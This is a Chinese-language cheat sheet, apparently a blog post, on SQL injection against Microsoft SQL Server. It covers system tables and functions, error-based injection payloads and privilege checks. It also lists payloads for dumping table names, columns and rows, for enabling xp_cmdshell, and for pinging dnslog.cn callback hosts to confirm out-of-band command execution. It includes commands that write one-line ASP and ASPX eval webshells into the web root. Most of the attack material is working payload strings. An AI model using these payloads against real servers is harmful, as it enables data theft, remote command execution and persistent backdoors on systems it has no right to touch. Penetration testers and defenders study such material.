-
和mysql不同;每个数据库都有自己的信息总结表
-
四个系统数据库
-
master
- sysdatabases :所有数据库信息
- name :所有数据库名
- sysobjects :数据库所有对象的信息
- syscolumns :字段信息
-
固定字段名
- name 对象名
- id 对象id
-
xtype 对象类型代码
- xtype='U' 用户创建的表
- xtype='S' 系统表
- sysdatabases :所有数据库信息
-
model
- sysobjects
- syscolumns
-
msdb
- sysobjects
- syscolumns
-
tempdb
- sysobjects
- syscolumns
-
-
用户自己创建的数据库也会自动携带下面字段
- sysobjects
- syscolumns
-
常用函数
- db_name() :数据库名
- host_name() :主机名
- current_user :返回数据库当前的用户名
- user :用户
- substring() :截取函数;不能用substr()
- @@verison :查看数据库版本
- char() :ascii码转字符
- cast(text as type() :字符类型转换;转化失败就会以text结果显示在页面上
- object_id() :根据表名返回数据库表名id
- object_name() :根据id返回数据库表名
- col_name(object_id,column_id) :返回指定表中指定字段的名称
- col_name(object_id('users'),2)
-
调用表名
- 数据库名.用户名.表名
-
报错注入
- 'or 1=convert(int,@@version)--
- 1-user
- 1/user
- convert(int,user)
- db_name()
-
注入流程
-
判断权限
- 权限:sa 、db_owner 、public
- and 1=(select IS_SRVROLEMEMBER('sysadmin')) --
- and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
- and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
- and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
- and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
- and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
- and 1=(select IS_MEMBER('db_owner'));-
- 获取当前数据库
- and 1=(select db_name()) --
- 获取当前数据库的表名
- and 1=convert(int,(select quotename(name) from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))) --
- 获取当前数据库中表的所有字段
- and 1=(select quotename(name) from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))--
- 读取内容
- and 1=(select top 1 * from 指定数据库..指定表名 where排除条件 FOR XML PATH(''))--
-
-
命令执行
- 开启xp_cmdshell,0为关闭,1为开启
- ;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE; --
- 关闭xp_cmdshell
- ;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',0;RECONFIGURE; --
-
执行ping判断是否能执行xp_cmdshell和服务器是否通外网
- ;exec master..xp_cmdshell "ping teki6x.dnslog.cn" --
- ;execute('xp_cmdshell ""')
- ;exec xp_cmdshell ' ping%20%25os%25.4mt18t.dnslog.cn '
-
写入一句话木马;需要知道网站根目录
- asp
- ;exec master..xp_cmdshell 'echo ^<%25eval request(1234)%25^> > C:\Inetpub\wwwroot\test.asp' --
- aspx
- ;exec master..xp_cmdshell 'echo ^<%25@ Page Language="Jscript"%25^>^<%25eval(Request.Item["aaa"],"unsafe");%25^> > C:\Inetpub\wwwroot\test.aspx' --
- asp
- 开启xp_cmdshell,0为关闭,1为开启
MSsql数据库 sql注入
I_WORM2024-04-09 20:04
相关推荐
~ 小团子33 分钟前
每日一SQL 【各赛事的用户注册率】llm2009091 小时前
Jmeter的JDBC数据库连接betazhou1 小时前
SQL server之版本的初认知superonion06201 小时前
【DB2】load报错SQL3501W、SQL3109N、SQL2036N~ 小团子1 小时前
每日一SQL 【每月交易 I】apihz2 小时前
VM虚拟机全版本网盘+免费本地网络穿透端口映射实时同步动态家庭IP教程UestcXiye2 小时前
Rust Web 全栈开发(五):使用 sqlx 连接 MySQL 数据库Jane Chiu2 小时前
Oracle大表数据清理优化与注意事项详解sniper_fandc2 小时前
Redis数据类型之list树谷-胡老师3 小时前
1965–2022年中国大陆高分辨率分部门用水数据集,包含:灌溉用水、工业制造用水、生活用水和火电冷却